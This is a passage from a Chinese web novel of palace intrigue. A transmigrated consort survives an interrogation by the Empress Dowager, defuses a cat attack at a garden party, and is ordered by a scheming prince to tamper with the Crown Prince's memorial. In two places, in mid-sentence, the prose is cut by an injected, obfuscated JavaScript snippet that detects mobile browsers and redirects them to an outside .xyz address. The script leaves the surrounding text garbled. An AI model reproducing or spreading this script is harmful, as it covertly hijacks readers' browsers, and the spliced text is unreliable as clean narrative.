“说吧,这香囊,究竟是怎么一回事。” 4. 身份危机 慈安宫内。 所有宫人都被屏退,偌大的宫殿只剩下高坐凤榻的太后,侍立在侧的张嬷嬷,以及跪在地上的高玥。 “香囊的事,玥贵妃打算如何解释?” 高玥深吸了一口,缓缓说道,“回太后,臣妾认罪。” 此言一出,连张嬷嬷都愣住了。 太后的脸上露出了玩味的探究。 她本以为高玥会哭哭啼啼地辩解,喊冤叫屈,却不想她竟认得如此干脆。 “哦?你倒是爽快。”太后换了个更舒服的姿势,慢条斯理地拨弄着护甲,“那你说来听听,为何要这么做?” 高玥依旧伏着身子,声音沙哑,却字字清晰地传入太后耳中:“回禀太后,臣妾不敢欺瞒。臣妾确实私下探寻过宫中禁忌。” 张嬷嬷的脸色终于变了。 私探禁忌,这在后宫可是大罪。 高玥却仿佛未曾察觉一般,继续说道:“臣妾入宫时日尚短,蒙皇上垂爱,本该安分守己。可臣妾见皇上近来龙体欠安,夜夜为梦魇所扰,辗转难眠,甚至在梦中……还会念叨一些旧人旧事。” 她的声音中带着几分惶恐与关切:“臣妾心急如焚,却又不敢惊扰圣驾,这才想了些笨办法,想为皇上分忧。” “臣妾斗胆,私下查阅了些宫中旧档,想寻个能让皇上静心安神的方子。也是机缘巧合,这才查到了……荣亲王。” “荣亲王”三个字一出,殿内的空气仿佛又冷了几分。 张嬷嬷眼神复杂地看了眼太后。 太后脸上的玩味消失了,取而代之的是看不出情绪的静默。 高玥的头埋得更低:“档案记载,此香曾让荣亲王静心凝神,功效非凡。臣妾想着,或许对皇上的梦魇也有助益。可臣妾深知荣亲王乃是宫中禁忌,哪里敢声张,更不敢擅自去寻什么香料。不过是刚刚动了此念,想着或许能寻个机会,小心翼翼地向太后您禀明,求您定夺。” 说到这里,高玥凄然一笑:“这事,臣妾也只与前来请脉的王太医提过一嘴,问他此香药理是否真有奇效。可臣妾万万没有想到,王太医他竟……竟如此大胆,擅自做主,将这味禁香加入了给臣妾的香囊之中!” 高玥再次叩首,声音中也夹杂了些许哭腔,“太后娘娘!” ““臣妾有罪,罪在痴心妄想,想替皇上分忧却行差踏错!但臣妾绝无私藏禁香、意图不轨之心!究竟是谁将此物放在臣妾身上,又是谁想借此置臣妾于死地,求太后明察!” 这一番话,如泣如诉,情真意切。 直接让她从一个私藏禁香的罪妃,变成了为君分忧却被奸人所害的无辜之人。 还将自己塑造成了一个忠心耿耿,却不幸被卷入阴谋的受害者。 殿内一片死寂。 太后的脸色阴晴不定,似乎是在判断着高玥这番话的真假。 许久,她才缓缓开口,声音里听不出情绪:“张嬷嬷。” “老奴在。”张嬷嬷躬身。 “去,把王太医给哀家‘请’过来。”太后特意加重了“请”字。 “是。”张嬷嬷领命,快步退了出去。 高玥依旧跪在地上,身体微微颤抖,可只有她自己知道,掌心早已全都是汗。 这一步棋,走得实在惊险,一步踏错,便是万劫不复。 时间一分一秒的过去,这一刻仿佛被无限拉长。 不知过了多久,殿外传来急促的脚步声,却不是张嬷嬷,而是一个去而复返的小太监。 小太监跪在地上,声音中带着颤抖:“回禀太后娘娘,王太医……王太医他不见了!” 太后眼神变了几变:“不见了?” “太医院的人说,王太医刚刚递了牌子,说是要告老还乡。皇上已经准了,还赏赐了金银,现在估摸着人已经出宫了!” “好一个告老还乡!” 太后手中的杯子重重一摔。 “在哀家眼皮子底下玩金蝉脱壳,当哀家的慈安宫是摆设吗?!” “来人!” 殿外的侍卫闻声而入,齐刷刷跪了一地。 “传哀家懿旨!立刻命九门提督封锁京城,全城搜捕王太医!”太后的声音带着不容置疑的威严,“告诉他们,哀家不管他是人是鬼,就算是掘地三尺,也得把这个老东西给哀家挖出来!活要见人,死要见尸!” 高玥垂着头,无人看见她微微勾起的嘴角,那抹笑意带着无尽的讥讽与了然。 侍卫领命退下,殿内重回一片死寂。 张嬷嬷不知何时回到了殿内,默默示意宫女将地上的碎瓷收拾干净。 太后闭上双眼,长长地吐出一口气。 高玥依旧跪着,企图将自己的存在感降到最低,但她仍能感觉到太后的那道目光一直落在自己身上。 时间仿佛过了很久,久到高玥的膝盖都开始发麻,那股审视的目光才终于移开。 “你,”太后的声音响起,不复方才的凌厉,反而是夹杂了一丝哀伤,“把那个香囊,拿给哀家看看。” 高玥不敢犹豫,恭敬地解下腰间的香囊,呈给张嬷嬷。 太后却没有急着去接,就这样定定地看着那枚小巧精致的香囊。 许久,发出了一声悠长而疲惫的叹息。 “起来吧。”太后的语气淡淡的,听不出喜怒。 高玥依言起身,却依旧低眉。 “这香囊的样式,哀家记得,是当年荣亲王最喜欢的。”太后的声音很轻,像是说给高玥听,又像是自言自语。 “当年他若不是因为那件事,也不会落得那样的下场。” 高玥心中一愣,那件事? “他文韬武略样样精通,在当时,能比得上他的怕是也只有思铭那孩子了。”太后的语气中充满哀伤。 都说太后最爱的便是荣亲王,如今看来,这话果真不假。 太后顿了顿,似是想到了什么,又叹了口气:“说起来,思铭那孩子,当年和荣亲王的关系极好。荣亲王出事之后,他也是消沉了好一阵子。” 齐思铭? 高玥心中一动,原来他与荣亲王还有这样一段渊源。 她本以为今日只是个单纯的对她这枚棋子的测试,现在看来,这背后之事恐怕还另有隐情。 “思铭那孩子,也是个苦命的。明明有才华,却一直隐忍不发,甚至当年……”太后欲言又止,“哀家知道,这些年他一直都在暗中调查荣亲王的事情,想要替他洗脱冤屈,只是有些事情,不是那么容易的。” 太后悠悠叹了口气,将香囊放在一旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315852|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案几上。 “罢了,过去的事情,就让它过去吧。” …… 夜色如墨。 齐王府的书房内,烛火通明。 齐思铭一身白衣,静坐在棋盘前。 他的神情在光影中看不真切,唯有那双骨节分明的手,正反复摩挲着一枚质地温润的玉坠。 王友端着一碗参茶,看着自家主子孤寂的背影,在心中轻叹了口气。 他将参茶放在一旁,终是没忍住,轻声开口道,“王爷,您又在想先王妃了。” 王友跟在齐思铭身边多年,最是清楚。 自家王爷如今这副看似温润无害,实则凉薄的模样,与当年先王妃的惨死脱不开干系。 那也是王爷心中永远无法愈合的伤疤。 齐思铭摩挲的动作微微一顿,却没有抬头,也未有言语,而是将那枚玉佩握得更紧了一些。 “慈安宫的事情怎么样了?”过了好久,齐思铭才缓缓问道。 王友将慈安宫传来的消息一五一十地复述了一遍。 “……太后一开始确实是存了敲打的心思,言语间颇为严厉,但玥贵妃娘娘她……” 说到这里,王友的语气里带上了一丝显而易见的钦佩。 “娘娘实在是高明。她只是借着那个香囊,就轻易化解了太后的敌意。太后见了那香囊,便想起了荣亲王,不仅不再为难娘娘,反而还感怀起了旧事,提到了您和荣亲王的过往。” 王友越说越是觉得这一步棋走得妙极。 齐思铭的脸上没有什么表情,只是淡淡地“嗯”了一声。 他清冷的目光落在棋盘之上,那里黑白交错,杀机四伏。 王友看着自家主子这副波澜不惊的模样,心中更是敬畏。 玥贵妃在宫中掀起如此大的风浪,于自家主子而言,却似乎只是一件微不足道的小事。 齐思铭从棋盒中拈起一枚黑子,指尖在微凉的棋子上一顿,随即轻轻落下。 “啪。” 清脆的落子声,堵死了棋盘上白子的最后一条活路。 一大片白子,瞬间成了死棋。 他眸色深沉,看不见底。 “她确实是一把趁手的兵器,足够锋利,也足够聪明。”齐思铭的声音平淡,却透着一股不易察觉的阴冷。 “但是,”齐思铭顿了顿,又拈起一颗白子。 “刀太过锋利,便会割伤主人的手。” 手落之处,白棋却又出现了绝处逢生之相。 王友心中一震,不敢接话。 书房内再次陷入沉寂。 片刻后,齐思铭的声音再次响起,比刚才更冷了几分。 “派人去护送王太医一家,确保他们能平平安安地回到苏州老家。” “是,属下明白。” “路上,”齐思铭抬眸,“让他把凤仪宫交代他做的事情,一字不差地写下来。” 这是要拿捏皇后。 王友猛地抬起头头,却只看到齐思铭温润如玉的侧脸,仿佛刚才的话语,只是他的错觉。 “属下遵命。”他不敢再多问,躬身退下。 这位玥贵妃,到底是王爷的棋子。 还是一把即将出鞘的,连王爷都开始警惕的利刃? 5. 御园风波暗藏机 高玥从慈安宫出来,回到自己的玉溪宫时,只觉浑身骨头都累得像是被拆散了重组一般。 今日在慈安宫的博弈,耗费的心神远比在御书房应付皇帝要多得多。 她斜倚在软榻上,正想闭目复盘一下今日的事情,殿外传来翠儿的通报声。 “娘娘,慈安宫的张嬷嬷来了。” 高玥睁开眼。 不是已经结束了吗?难道又有新的幺蛾子? 高玥立马直起身子,吩咐翠儿:“请进来。” 张嬷嬷走了进来,身后还跟着一个小太监。那小太监手上还捧着一个朱漆托盘。 “老奴给贵妃娘娘请安。太后惦记着娘娘,特意让老奴过来瞧瞧。”张嬷嬷的视线在高玥脸上转了一圈,继续说道,“太后娘娘说,您今日受委屈了。” 高玥连忙扶着翠儿的手起身,浅笑道:“嬷嬷言重了。能陪太后说说话,是臣妾的福分,何来委屈。” 张嬷嬷笑着点头,却不再继续这个话题,只侧身让出身后的小太监,说道:“这是太后给娘娘的赏赐。” 翠儿等人眼睛一亮,都好奇地望向那托盘。 张嬷嬷却并未让人呈上,只是口头宣读:“太后口谕,‘明日午后,哀家在御花园设了茶席,赏新开的姚黄,请贵妃一同观赏’。” 一句话,便是全部的赏赐。 翠儿等人伸长了脖子,还在满心欢喜地等着张嬷嬷继续念出赏赐,然而张嬷嬷说完了那句口谕便没了下文。 殿内一时安静得有些尴尬。 “娘娘,可听清了?”张嬷嬷清咳了一声,缓缓问道。 这一问,击碎了翠儿等人的幻想。 可高玥的反应却截然相反,她非但没有半分失落,反而兴致盎然地对着张嬷嬷福了福身子。 “听清了,多谢太后恩典。”她的声音清亮,“还请嬷嬷代为回禀,明日午后,臣妾一定准时到达。” 高玥亲自将张嬷嬷送到殿门口,目送着她的背影消失在宫道尽头,脸上的笑意这才慢慢敛去。 她一转身,就看到翠儿垮着一张小脸,满脸都是藏不住的失望。 “娘娘,”翠儿上前扶住高玥,忍不住小声抱怨起来,“这太后娘娘也太小气了一些。说好的是赏赐,结果就请您去喝杯茶?” “还以为能得到些实在的好处,给咱们玉溪宫添些体面呢。” 高玥看她气鼓鼓的样子,不禁失笑,轻轻地点了点她的额头。 “你这小脑袋瓜里,就只想着那些黄白之物?”高玥的语气有些宽慰地说道,“傻翠儿,钱财都是身外之物,生不带来死不带去的。可这赏花宴,却是多少金银珠宝都换不来的体面和机会。” 翠儿似懂非懂地“哦”了一声,显然还是没想明白。 高玥也不再多言,重新坐在软榻上,心中却开始思忖起来。 翠儿不懂是正常的,可是她却再明白不过了。 这就好比公司的高层会议,能被叫去参会的,哪个不是手握实权的核心负责人? 这种场合,露个脸就代表你在权利中心占有一席之地,关键不在于会议内容,而在于“你在场”。 谁不在,谁尴尬。太后赏的不是姚黄,而是入场券,是一份在后宫立足的资格。 这份赏赐,可比一箱金银珠宝有价值多了。 翠儿继续好奇地问道,“既然这么说,那这是不是意味着娘娘如今在太后心里已经有了一席之地了?” 高玥闻言,却摇了摇头。 在这后宫,哪有什么一席之地,有的不过是一枚棋子的位置罢了。 不管是对于太后还是齐思铭,自己都不过是一颗棋子罢了。 这不光是赏赐,也是在敲打她,提醒她,她的荣辱,皆在太后的一念之间。 这御花园的茶席,怕又是一场鸿门宴。 次日午后,御花园水榭。 各色牡丹开得争奇斗艳,花团锦簇,尤以名为“姚黄”的鹅黄色牡丹最为出众,花瓣层层叠叠,雍容华贵,不愧“花王”。 太后与皇后已安坐首席,几位高位的妃嫔作陪。 高玥到时,众人目光齐刷刷地投了过来,审视,探究,不一而足。 她今日特意选了一身淡蓝色的宫装,裙摆上只浅绣了几支兰草,发间也未戴繁复的珠钗,仅用一支白玉簪挽住发髻。 整个人素净得在这一片姹紫嫣红中,倒是显得有些与众不同。 皇后身旁的柳妃率先开了口,言语中是忍不住的讥讽:“妹妹今日这身打扮,未免也太朴素了些。太后娘娘特意为你设宴,你却这般不加修饰,可是不将太后娘娘放在眼里?” 柳妃今日穿了一身艳丽的桃红宫裙,妆容精致,鬓边的赤金步摇流光溢彩,显然是精心打扮过的。 她一开口,众人眼中皆是等着看好戏的神情。 高玥不慌不忙地走上前,对着太后与皇后盈盈一拜,而后才转向柳妃,恭恭敬敬地说道:“姐姐说笑了。今日这满园的国色天香,妹妹又怎敢夺了这姚黄的风采?若因妹妹扰了各位姐姐和娘娘们赏花的雅兴,那才是妹妹的罪过了。” 她一番话说得滴水不漏,既夸赞了姚黄,又捧了在座的众人,还将柳妃的挑衅化解于无形。 果然,太后闻言,眼中露出赞许之色,她向高玥招了招手:“说得好,是个懂规矩又知分寸的。来,坐到哀家身边来。” 这一举动,无异于当众给了高玥最大的体面。 柳妃的脸色顿时变得十分难看,她嫉妒地瞪着高玥坐到太后身侧,只觉得那张脸此刻却无比碍眼。 这番交锋,也让原本还算轻松的气氛瞬间变得微妙。 高玥的每一个动作,每一句话,都被无数双眼睛在暗中观察和解读。 就在这时,一阵清风拂过,带来了浓郁的花香。 “喵呜——!” 一声尖利刺耳的猫叫打破了这片刻的宁静。 只见柳妃身后的一个宫女怀中,那只一直温顺乖巧的波斯猫突然像是炸了毛一般,不仅弓着背,一双蓝色的眼睛还死死地盯着柳妃,眼神充满了攻击性。 “孽畜!你要做什么!”柳妃大惊失色,下意识地往后躲。 那宫女显然也吓坏了,慌忙伸手去抱紧波斯猫,口中急道:“娘娘小心!” 谁知那猫反嘴就在宫女的手臂上狠狠咬了一口,随即猛地一挣,直直朝着柳妃的脸扑了过去! “啊!” 柳妃吓得花容失色,大声尖叫起来。 说时迟那时快,那宫女反应极快,竟不顾自己手臂上的伤,直接扑身挡在了柳妃面前。 波斯猫锋利的爪子没能抓到柳妃,却在宫女的脖颈上留下了几道深深的血痕。 场面顿时一片混乱。 “快!快去抓猫!” 不知是谁喊了一声,可那猫却更加凶狠,眼看就要抓到离得最近的高玥。 高玥手心也渗出了汗,千钧一发之际,她像是突然想到了什么似的。 她迅速从袖中取出一个小巧的白玉瓷瓶,正是皇帝前几日赏下的玉肌膏。 就在那波斯猫纵身扑来的瞬间,她旋开瓶盖,将那散发着淡淡异香的膏体凑到了猫的鼻子前。 奇迹发生了。 那只狂躁的波斯猫在闻到气味后,动作猛地一滞,刚刚还凶芒毕露的眼睛里闪过一丝迷茫,随即在空中扭了个身,轻巧地落在地上,竟伸出舌头去舔那玉肌膏,最后竟温顺地蹭了蹭高玥的裙摆,软软地趴了下来。 众人皆是目瞪口呆。 高玥收回玉肌膏,心中了然。 她之前有私下查过,这玉肌膏里含有一种从猫科动物的腺体中提取的成分,本是用于美容,却不想对猫类有安抚同类的奇效。 “没用的东西!连只猫都看不好!”柳妃惊魂未定,回过神来,一脚踹向那个受伤的宫女,厉声骂道,“来人!把这个贱婢给本宫拖下去!在这烈日下跪着,没本宫的命令不许起来!” 柳妃的怒斥声将众人从方才的慌乱中拉回神。 两名侍卫立刻上前,就要架起那个宫女往外拖。 高玥只轻轻一瞥,随即呼吸猛地一滞。 是苏泠! 是她在上一个恋爱游戏《爱在西元前》里的女主苏泠! 她怎么会在这里? 还成了一个任人欺辱的小宫女? 看着苏泠脖子上触目惊心的血痕和手臂上不断渗血的牙印,高玥心头涌上一股复杂的情绪。 “柳妃姐姐息怒。”高玥开口说道,“这宫女也是护主心切,姐姐又何必动这么大的气。况且,依妹妹看,此事错不在她。” 柳妃正在气头上,听高玥为那宫女求情,更是火冒三丈:“与你何干?你倒会做好人!不是她没看好这孽畜,难道还是本宫的错了?” “姐姐自然是没错的。”高玥的目光转向不远处的一丛紫色花卉,“只是这猫儿发狂,也事出有因。若我没看错,那片花丛里种的,可是醉猫草?” 众人顺着她的目光看去,一位嬷嬷连忙回话:“回贵妃娘娘,那的确是醉猫草。” 高玥又看向柳妃腰间的丁香花香囊,继续道:“醉猫草气味独特,本也无事。但若与丁香花气味相冲,便会引得猫儿性情大变,狂躁伤人。若我没闻错的话,姐姐这香囊中,正是丁香花吧。 方才那阵风,正好将两种气味混在了一处,这才惊了那只猫。” 她一番话说得有理有据,众人这才恍然大悟,就连连太后都投来赞许的目光。 “哀家倒是没想到,玥贵妃竟还懂得这些花草百兽的性情。如今像你这般心思玲珑,遇事不慌的怕是不多见了。” 柳妃的脸色一阵青一阵白,她没想到高玥竟懂这些,一时间竟找不到话来反驳。 “你……你少在这里妖言惑众,谁知道你是不是为了给这贱婢脱罪,信口胡编的!不过是些上不得台面的东西,你也敢……” 她的话还没说完,便被一道声音打断。 “玥贵妃所言不差。” 众人回头,只见太子齐思安不知何时已站在不远处。 他一身红色常服,面容俊朗,正向这边走来。 “儿臣给太后娘娘请安,给母后请安。”太子走到太后和皇后面前,恭敬地行了一礼。 在场众人,包括脸色煞白的柳妃在内,都屈膝行礼:“参见太子殿下。” 高玥也随着众人福了福身,心中却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315853|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗自警惕起来。 这位传说中的仁德太子,可是齐思铭最大的敌人,也是她这次任务中,最需要跨过的一座高山。 “都起来吧。”太子的目光淡淡地扫过柳妃和跪在地上的苏泠,温和地开口,“母后,这是怎么了?方才儿臣在殿内,似乎都听到了娘娘的动气之声。” 皇后温婉一笑,语气中带着几分对小辈的纵容与无奈,“也不是什么大事,不过是柳妃的猫顽劣罢了。底下宫人处置不当,惊扰了大伙。不过玥贵妃倒是心细,帮着瞧出了些缘由,急着为本宫分忧呢。” 好一番说辞,高玥心中冷笑了一声。 高玥知道这是皇后在点她,这后宫之事本该由她这个皇后做主,自己一个新来的,未免有些过于急切了。 可齐思安却完全没有听出这层含义,只当是母后在陈述事实,随即看向跪在地上的苏泠,为她辩解道,“母后明鉴。儿臣方才从长廊那头过来,恰好看见这位宫女一直小心翼翼地抱着猫儿,看管得十分仔细。想来确如玥贵妃所言,是那花草气味相冲的缘故,并非她看管不力。” 此话一出,皇后的脸都绿了,她过了好久,才深吸一口气,强行将那股郁气压了下去,声音中透着一丝不易察觉的僵硬。 “罢了,既然太子都看清楚了,那此事便算有了定论。莫要再为这点小事,扰了大家的雅兴。” 说罢,她又看向仍心有不甘的柳妃,语气重了几分,“柳妃也是,往后看管好自己的猫儿,别再为难一个宫人了。” 高玥垂着眼帘,将皇后那副吃了哑巴亏却又不得不强撑端庄的模样尽收眼底。 好一个母慈子孝的感人场面。 不过这样也好。 就太子这种智商,对于齐思铭那种万年老狐狸来说,十个太子都不够他玩的。 要注意的,应该是他背后的皇后。 而柳妃那边,她就算再不甘心,也无法再降罪于苏泠。 她只能恨恨地瞪了苏泠一眼,又不情不愿地说道:“既是如此,倒是本宫错怪她了。” 得了太子的金口玉言,苏泠总算是得到了赦免。 她因为跪了太久,膝盖处一阵发麻,身形晃了晃。 高玥下意识地想去扶,但终究还是忍住了。 苏泠站稳后,朝着高玥的方向,深深地福了一礼,声音细弱却清晰:“奴婢多谢玥贵妃娘娘救命之恩。” 随即又深深地看了一眼齐思安,“奴婢……谢太子救命之恩。” 当苏泠抬起头,望向齐思安的那一瞬间,那双清澈的眸子里除了感激之外,似乎还夹杂着一丝别样的情绪。 那光芒只是一闪而过,快得让人无法捕捉。 高玥微微眯了眯眼,以为是自己看错了。 待她再定睛看去时,苏泠已经重新垂下了头,脸上只剩下恭敬与惶恐。 应该只是自己的错觉吧,高玥心想。 不过她又转念一想,不愧是恋爱游戏女主,这光环就是不一样,走到哪里都能遇上贵人。 想想自己,不是被丧尸啃,就是被齐思铭那个疯子时时威胁。 再看看人家,差别也太大了吧! 而在不远处的假山后,一双阴冷的眼睛将这一切看得清清楚楚。 齐思铭一身白衣,双手负在身后,脸上看不清喜怒。 他身后的王友忍不住低声赞叹:“主子,这位玥贵妃懂得还真不少。” 齐思铭闻言,侧过头瞥了王友一眼,那眼神让王友心里一凛。 “怎么,你是想换主子了?”他的声音依旧温和,却透着淡淡地威胁。 吓得王友连忙说道:“属下才不敢!属下可是对主子忠心耿耿,绝无二心!” 齐思铭哼了一句,重新望向高玥离去的方向,平淡地开口:“她的手段可不少,你可不要掉进她的陷阱里面了。棋子终究是棋子罢了,这棋该怎么落,还是要看这个执棋之人。” 他顿了顿,语气中带着一丝玩味:“不过,也是时候该敲打她一下了。就像这只猫,养得太娇惯了,会忘了谁才是它的主子,说不定什么时候,就反过来咬人了。” 王友冷汗涔涔,不敢接话。 …… 月上柳梢。 高玥带着满身的疲惫回到寝殿,紧绷了一天的神经终于可以得到稍稍放松。 她挥了挥手,示意翠儿,“都下去吧,本宫想一个人静一静。” “是,娘娘。” 偌大的寝殿,瞬间只剩下她一人。 高玥长长地舒了一口气,揉了揉有些发胀的太阳穴,今日御花园中的一幕幕在脑海中回放。 太子的愚蠢,柳妃的跋扈,皇后的伪善,还有……苏泠。 她突然觉得有些心累。 就在此时,一个带着几分慵懒笑意的男声,毫无征兆地从里间传了出来。 “娘娘果然是好手段。” 高玥的身体猛地一僵,一股寒意从脚底直冲天灵盖。 她倏地睁开眼,只见昏暗的床幔阴影里,缓缓走出一道修长的身影。 来人一袭白衣,俊美的脸上挂着一抹熟悉的笑容。 他闲庭信步般地踱了出来,仿佛他才是这玉溪宫真正的主人。 6. 生死抉择 高玥的心脏几乎快要跳出来。 她强迫自己站直身子,迎上齐思铭那张含笑却毫无温度的眸子,她太知道齐思铭这个笑容代表着什么了。 每一次他又要算计谁的时候,就会这么笑。 她几乎是咬着牙,从齿缝中挤出这句话,“王爷真是好胆色,三更半夜擅闯臣妾寝殿,是嫌臣妾的命太长了吗?” 齐思铭没有理会她的阴阳怪气,径直走到桌边坐下,自顾自地倒了杯茶。 “太子不日将呈《开通南北运河疏》于御前。”他开门见山,“本王要你,换掉它。” 疯了吧! 高于的脑子里只剩下这三个字。 她死死地盯着齐思铭,几乎是要怀疑自己是不是因为太过疲惫而出现了幻听。 偷换太子的奏疏?齐思铭知不知道自己在说什么啊! 一旦败露,别说她这个小小的贵妃,就是她背后的高家,也得被抄家灭族,株连九族! 而齐思铭,他就用这样一种云淡风轻,仿佛在说“天凉了,加件衣裳”的语气,让她去做一件足以死上一万次的事情。 高玥缓缓走到他对面,隔着一张桌子的距离与他对峙,“东宫守卫森严,奏折乃重中之重,臣妾一介后宫女流,如何能做到?” “那是你的事。”齐思铭抬眸看她,“本王只要结果。” “王爷为何如此急切?”她问道,“南北运河利国利民,太子若能办成,于国朝是幸事。王爷的格局,难道仅限于此?” “格局?”齐思铭像是听到了什么笑话,不屑地说道,“此疏一旦呈上,皇帝必然龙心大悦。届时,太子监国,权柄在握,朝中那些摇摆不定的墙头草将尽数倒向东宫。到那时,你我,都将成为砧板上的鱼肉,你懂吗?” 他一步步向她逼近,强大的气场瞬间笼罩了高玥。 “本王在南方的几个钱庄,已被太子的人盯上。”他的声音压低,带着一丝狠厉,“我没有时间再等下去了。” 原来如此。 他并非只是为了打压太子,更是因为自己的根基已受到威胁,不得不兵行险着。 高玥被他逼得退到墙角,后背抵着冰冷的墙壁,退无可退。 齐思铭停在她面前,居高临下地俯视着她,那俊美的面容危险而又充满蛊惑。 “你怕了?”他轻声问,温热的呼吸拂过她的脸颊。 “怕,”高玥迎上他的目光,毫不示弱,“王爷的计划,听起来就像是让我去送死。你知不知道,一旦败露,高家满门,都将为我陪葬。” “所以,你不能败。”齐思铭的手指轻轻抚上她的脸颊,那冰凉的触感让她浑身一颤,“本王说过,我亲手选的刀,从不轻易折断。” 他的指腹带着薄茧,划过她细腻的肌肤,带来一阵战栗。 这亲昵的动作却满含着致命的威胁。 “事成之后,”他凑近她耳边,声音如同地狱传来的低语,“你想要的,本王都可以给你。” 高玥的大脑在疯狂地拉响警报,每一个细胞都在叫嚣着“拒绝他”,“推开他”,“让他滚”! 他的承诺,不过是涂满蜜糖的利刃,诱你主动迎上去,然后心甘情愿地死在他的刀下。 他的指腹依然停留在她的脸颊上,那冰凉的触感下,仿佛有电流窜过,让她浑身酥麻。 他身上清冽的檀香混杂着一丝若有若无的血腥气,霸道地侵占了她所有的感官。她甚至能感觉到自己不受控制地微微颤抖。 鬼使神差地,她听见自己的声音。 “我凭什么相信你?” 话一出口,高玥恨不得咬断自己的舌头。 而齐思铭也是一愣,轻笑了一声,他缓缓收回手,指尖却在离开她肌肤的瞬间,极具占有欲地轻轻刮过她的下颌。 “本王从不亏待自己人。” 她缓缓闭上眼睛,再睁开时,眼底的挣扎褪去。 “我真的接触不到奏折,”她叹了口气,似是放弃了挣扎,“而且,我与太子也谈不上熟悉。” 齐思铭见她终于松口,满意地笑了。 他直起身,拉开了些许距离,那股令人窒息的压迫感才稍稍散去。 “后日是太子生辰,皇帝会在宫中设宴。宴会之上,本王自有办法引开太子。你需要做的,就是在此之前,想办法进入东宫书房。” 他丢下一个几乎不可能完成的任务,转身便要离去。 “齐思铭!”高玥忍不住叫住了他的名字。 他脚步一顿,回头看她。 “在你眼中,我究竟是什么?”她问。 齐思铭静静地看了她片刻。 “你是我选的最锋利的刀。” 他留下这句话,身影便消失在夜色之中。 高玥背靠着墙壁,缓缓滑坐下来,浑身的力气仿佛都被抽空。 他不仅是在命令她,更是在将她拖入他那波谲云诡的棋局深处,与他一同站在悬崖边缘。 但她不想只做他手中的刀,任由他决定挥向何方,何时折断。 “换之。” 说得轻巧。 齐思铭这是把她当成了什么? 一个可以随意出入东宫书房,能在太子眼皮子底下偷天换日的绝顶高手吗? 她一时间有些生气,齐思铭那个男人,他到底有没有想过她的处境? 还是说,在他眼中,她这颗棋子本就轻如鸿毛,随时可以为了他的大业而被牺牲掉? 内心的恐惧和理智的挣扎让她坐立难安。 她起身在寝殿内来回踱步,直接调换奏折的风险太大了。 皇帝老谋深算,太子也不是蠢货,父子俩只要稍微对一对奏折的内容,比如太子问一句:“父皇以为儿臣奏折中关于江南段的预算如何?”皇帝再回一句:“你奏折里写的不是河北段的预算吗?” 一个简单的问题,就能让她万劫不复。 可若是不换,眼睁睁看着太子凭此大功,将齐思铭死死压在脚下,那么她之前所有的努力都将付诸东流。 如果齐思铭失势,那她这个被绑在他船上的“宠妃”,下场又能好到哪里去? 两难的境地像一只无形的大手,紧紧扼住了她的咽喉。 “系统。”高玥在心中默念,“打开商城。” 幽蓝色的界面在她眼前展开,她的目光直接锁定在一个她之前从未舍得兑换的功能上。 【初级风险评估:消耗100积分,可对指定事件进行一次成功率与失败风险的综合评估。】 100积分,需要她做很久的任务才能攒到,但是现在…… “兑换【初级风险评估】,帮我评估“调换太子奏折”这一任务的成功率。” 【兑换【初级风险评估】需消耗积分100点,是否确认兑换?】 “确认。”她毫不犹豫。现在不是心疼积分的时候。 一道幽蓝色的光屏在她眼前展开,数据流飞速闪过,最终定格在一行刺目的红色大字上。 【任务方案:调换太子奏折】 【失败率:90%】 百分之九十!那就意味着只有10%的成功率! 高玥倒吸了一口冷气,浑身的血液仿佛瞬间凝固。 这个数字,几乎直接宣判了齐思铭计划的死刑。 他让她去执行一个九死一生的任务,甚至连那一生,都渺茫得可怜。 一丝苦涩从心底蔓延开来,她果然还是高估了自己在他心中的分量。 不行,绝不能按他说的办。 把自己的身家性命寄托在那虚无缥缈的10%的成功率上,是彻头彻尾的愚蠢之径。 高玥强迫自己冷静下来,大脑飞速运转,冷静分析每一个环节。 既然不能“换”,那能不能“改”? 但是直接在奏折上涂改,更是找死的行为。 修改?用毛笔模仿太子的笔迹?不行,别说从现在开始练□□的字迹要练习八百年,就算是自己练出来了,太子身边有专门的拟笔书吏,他的字迹和用墨习惯皇帝也早就熟悉了,那些老太监一眼就能看出端倪。 那要怎么办?! 必须有一种方法,能神不知鬼不觉地让奏折上的内容发生改变,而且是在皇帝看到的那一刻才发生。 她的思绪飘回了以前,那些曾经在化学课上做过的小实验,那些在网络上看过的奇闻技巧,如潮水般涌入脑海。 一个大胆的念头,在她心中逐渐成形。 对,就是它! 她走到窗边,推开窗户,夜风带着一丝凉意拂面而来,也让她混乱的头脑清醒了许多。 “翠儿。”高玥开口唤道。 “奴婢在。”一直守在门外的贴身宫女翠儿立刻推门进来。 “你去御花园的西角,看看那里是不是长了一种叶子是长卵形的,边缘有小小的锯齿的植物。若是有,就替我采些新鲜的叶子和茎干回来。”高玥的语气恢 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而古代的墨多为松烟墨,其主要成分是碳,辅以动物胶作为粘合剂,凤仙草的汁液,恰好可以破坏墨迹中的胶质,使其附着力下降。 还有更重要的一点,它无色透明,不易被察觉。 若是将这种无色透明的汁液小心地涂抹在字迹上,短时间内看不出任何异常。 可一旦遇到炭火的持续熏烤,便会加速酸性物质与胶质的反应,破坏墨迹的结构,从而使字迹变得模糊、洇开,最终难以辨认。 更妙的是,她可以利用这种特性,玩一个更精巧的把戏。 